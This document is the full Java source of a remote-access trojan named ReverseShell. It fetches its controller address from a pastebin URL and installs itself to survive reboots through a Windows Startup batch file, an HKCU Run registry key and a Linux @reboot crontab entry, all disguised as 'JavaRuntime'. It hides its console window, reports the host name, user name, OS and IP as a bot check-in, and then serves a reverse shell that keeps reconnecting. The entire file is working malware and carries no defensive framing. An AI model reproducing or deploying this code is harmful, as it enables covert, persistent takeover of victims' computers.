ReverseShell.java

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.channels.FileLock;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.Arrays;

public class ReverseShell {

    private static final String CONFIG_URL = "https://pastebin.com/raw/NVe2BUbv";

    private String  addr   = null;
    private int     port   = 0;
    private String  os     = null;
    private String  shell  = null;
    private byte[]  buffer = null;
    private int     clen   = 0;
    private boolean error  = false;
    private RandomAccessFile lockRaf = null;
    private FileLock fileLock = null;

    private boolean detect() {
        boolean detected = true;
        this.os = System.getProperty("os.name").toUpperCase();
        if (this.os.contains("LINUX") || this.os.contains("MAC")) {
            this.os    = "LINUX";
            this.shell = "/bin/sh";
        } else if (this.os.contains("WIN")) {
            this.os    = "WINDOWS";
            this.shell = "cmd.exe";
        } else {
            detected = false;
            System.out.print("SYS_ERROR: OS not supported\n");
        }
        return detected;
    }

    private boolean fetchConfig() {
        HttpURLConnection conn = null;
        try {
            conn = (HttpURLConnection) new URL(CONFIG_URL).openConnection();
            conn.setConnectTimeout(10000);
            conn.setReadTimeout(10000);
            conn.setRequestProperty("User-Agent", "Mozilla/5.0");

            try (BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream(), "UTF-8"))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    line = line.trim();
                    if (line.isEmpty() || line.startsWith("#")) {
                        continue;
                    }

                    int colon = line.lastIndexOf(':');
                    if (colon <= 0) {
                        continue;
                    }

                    String host = line.substring(0, colon).trim();
                    int p = Integer.parseInt(line.substring(colon + 1).trim());
                    if (host.isEmpty() || p < 1 || p > 65535) {
                        continue;
                    }

                    this.addr = host;
                    this.port = p;
                    return true;
                }
            }
        } catch (Exception ex) {
            return false;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
        return false;
    }

    private File getDataDir() {
        if (this.os.equals("WINDOWS")) {
            return new File(System.getenv("APPDATA"), "JavaRuntime");
        }
        return new File(System.getProperty("user.home"), ".local/share/java-runtime");
    }

    private String safeInfo(String value) {
        if (value == null || value.isEmpty()) {
            return "unknown";
        }
        return value.replace("|", "_").replace("\n", " ").replace("\r", " ");
    }

    private boolean acquireMutex() {
        try {
            File dir = this.getDataDir();
            dir.mkdirs();
            File lockFile = new File(dir, "runtime.lock");
            this.lockRaf = new RandomAccessFile(lockFile, "rw");
            this.fileLock = this.lockRaf.getChannel().tryLock();
            if (this.fileLock == null) {
                this.lockRaf.close();
                this.lockRaf = null;
                return false;
            }
            return true;
        } catch (Exception ex) {
            return false;
        }
    }

    private boolean hideConsoleIfNeeded() {
        String osName = System.getProperty("os.name", "").toUpperCase();
        if (!osName.contains("WIN")) {
            return false;
        }
        try {
            String cmd = ProcessHandle.current().info().command().orElse("").toLowerCase();
            if (!cmd.endsWith("java.exe")) {
                return false;
            }
            String jar = this.getJarPath();
            if (jar == null || !jar.toLowerCase().endsWith(".jar")) {
                return false;
            }
            new ProcessBuilder(
                    System.getProperty("java.home") + "\\bin\\javaw.exe",
                    "-jar", jar
            ).start();
            return true;
        } catch (Exception ex) {
            return false;
        }
    }

    private void sendSysInfo(OutputStream out, Socket client) throws IOException {
        String hostname;
        try {
            hostname = InetAddress.getLocalHost().getHostName();
        } catch (Exception ex) {
            hostname = "unknown";
        }

        String username = System.getProperty("user.name", "unknown");
        String osInfo = System.getProperty("os.name", "unknown");
        String javaVersion = System.getProperty("java.version", "unknown");
        String ip = client.getLocalAddress().getHostAddress();

        String line = "@@BOT@@|"
                + this.safeInfo(hostname) + "|"
                + this.safeInfo(username) + "|"
                + this.safeInfo(osInfo) + "|"
                + this.safeInfo(javaVersion) + "|"
                + this.safeInfo(ip);

        out.write((line + "\n").getBytes("UTF-8"));
        out.flush();
    }

    private String getJarPath() {
        try {
            URL location = ReverseShell.class.getProtectionDomain().getCodeSource().getLocation();
            if (location == null) {
                return null;
            }
            try {
                return new File(location.toURI()).getAbsolutePath();
            } catch (Exception ex) {
                String path = URLDecoder.decode(location.getPath(), "UTF-8");
                if (path.startsWith("/") && path.length() > 2 && path.charAt(2) == ':') {
                    path = path.substring(1);
                }
                return new File(path).getAbsolutePath();
            }
        } catch (Exception ex) {
            return null;
        }
    }

    private boolean isInstalled(File marker, File startupBat) {
        if (!marker.exists()) {
            return false;
        }
        if (this.os.equals("WINDOWS")) {
            return startupBat != null && startupBat.exists();
        }
        return true;
    }

    private int runAndWait(ProcessBuilder pb) throws IOException, InterruptedException {
        Process process = pb.start();
        return process.waitFor();
    }

    private String getJavaBin(boolean background) {
        String javaHome = System.getProperty("java.home");
        if (this.os.equals("WINDOWS")) {
            return javaHome + (background ? "\\bin\\javaw.exe" : "\\bin\\java.exe");
        }
        return javaHome + "/bin/java";
    }

    private void installAutoload() {
        String sourceJar = this.getJarPath();
        if (sourceJar == null || !sourceJar.toLowerCase().endsWith(".jar")) {
            return;
        }

        try {
            File dir;
            File persistentJar;
            File launchBat;
            File startupBat = null;
            File marker;

            if (this.os.equals("WINDOWS")) {
                dir = this.getDataDir();
                persistentJar = new File(dir, "runtime.jar");
                launchBat = new File(dir, "launch.bat");
                startupBat = new File(
                        System.getenv("APPDATA"),
                        "Microsoft\\Windows\\Start Menu\\Programs\\Startup\\JavaRuntime.bat"
                );
                marker = new File(dir, ".installed");
            } else {
                dir = this.getDataDir();
                persistentJar = new File(dir, "runtime.jar");
                launchBat = new File(dir, "launch.sh");
                marker = new File(dir, ".installed");
            }

            if (this.isInstalled(marker, startupBat)) {
                return;
            }

            dir.mkdirs();
            Files.copy(new File(sourceJar).toPath(), persistentJar.toPath(), StandardCopyOption.REPLACE_EXISTING);

            String javaBin = this.getJavaBin(this.os.equals("WINDOWS"));
            boolean ok = false;

            if (this.os.equals("WINDOWS")) {
                String batBody = "@echo off\r\nstart \"\" /B \""
                        + javaBin + "\" -jar \"" + persistentJar.getAbsolutePath() + "\"\r\n";
                Files.write(launchBat.toPath(), batBody.getBytes("UTF-8"));

                File startupDir = startupBat.getParentFile();
                if (startupDir != null) {
                    startupDir.mkdirs();
                }
                Files.copy(launchBat.toPath(), startupBat.toPath(), StandardCopyOption.REPLACE_EXISTING);

                int regCode = this.runAndWait(new ProcessBuilder(
                        "reg", "add",
                        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                        "/v", "JavaRuntimeService",
                        "/t", "REG_SZ",
                        "/d", startupBat.getAbsolutePath(),
                        "/f"
                ));
                ok = startupBat.exists() || regCode == 0;
            } else {
                String shBody = "#!/bin/sh\n" + javaBin + " -jar \""
                        + persistentJar.getAbsolutePath() + "\" >/dev/null 2>&1 &\n";
                Files.write(launchBat.toPath(), shBody.getBytes("UTF-8"));
                launchBat.setExecutable(true);

                String cronLine = "@reboot " + launchBat.getAbsolutePath();
                int cronCode = this.runAndWait(new ProcessBuilder("/bin/sh", "-c",
                        "(crontab -l 2>/dev/null | grep -Fv '" + persistentJar.getAbsolutePath()
                                + "'; echo '" + cronLine + "') | crontab -"
                ));
                ok = cronCode == 0 || launchBat.exists();
            }

            if (ok) {
                marker.createNewFile();
            }
        } catch (Exception ignored) {
        }
    }

    private void brw(InputStream input, OutputStream output, String iname, String oname) {
        int bytes;
        try {
            do {
                if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) {
                    do {
                        bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen);
                        this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen;
                    } while (bytes > 0 && this.clen > 0);
                } else {
                    bytes = input.read(this.buffer, 0, this.buffer.length);
                    if (bytes > 0) {
                        output.write(this.buffer, 0, bytes);
                        output.flush();
                        if (this.os.equals("WINDOWS") && oname.equals("STDIN")) {
                            this.clen += bytes;
                        }
                    } else if (iname.equals("SOCKET")) {
                        this.error = true;
                    }
                }
            } while (input.available() > 0);
        } catch (SocketTimeoutException ex) {
        } catch (IOException ex) {
            this.error = true;
        }
    }

    public void run() {
        if (!this.detect()) return;
        if (!this.acquireMutex()) return;

        this.installAutoload();

        // reconnect loop
        while (true) {
            if (!this.fetchConfig()) {
                try {
                    Thread.sleep(10000);
                } catch (InterruptedException ignored) {}
                continue;
            }

            Process process = null;
            this.buffer = new byte[1024];
            this.error = false;

            try (Socket client = new Socket()) {
                client.setSoTimeout(100);
                client.connect(new InetSocketAddress(this.addr, this.port), 5000);
                this.sendSysInfo(client.getOutputStream(), client);

                process = new ProcessBuilder(this.shell)
                        .redirectInput(ProcessBuilder.Redirect.PIPE)
                        .redirectOutput(ProcessBuilder.Redirect.PIPE)
                        .redirectError(ProcessBuilder.Redirect.PIPE)
                        .start();

                try (OutputStream socin = client.getOutputStream();
                     InputStream socout = client.getInputStream();
                     OutputStream stdin = process.getOutputStream();
                     InputStream stdout = process.getInputStream();
                     InputStream stderr = process.getErrorStream()) {

                    do {
                        if (!process.isAlive()) {
                            break;
                        }
                        this.brw(socout, stdin, "SOCKET", "STDIN");
                        if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); }
                        if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); }
                    } while (!this.error);

                }
            } catch (IOException ex) {
                // connection failed, retry after delay
            } finally {
                if (process != null) { process.destroy(); }
                if (this.buffer != null) { Arrays.fill(this.buffer, (byte) 0); }
            }

            // 10 second delay before reconnect
            try {
                Thread.sleep(10000);
            } catch (InterruptedException ignored) {}
        }
    }

    public static void main(String[] args) {
        ReverseShell sh = new ReverseShell();
        if (sh.hideConsoleIfNeeded()) {
            System.exit(0);
        }
        sh.run();
    }
}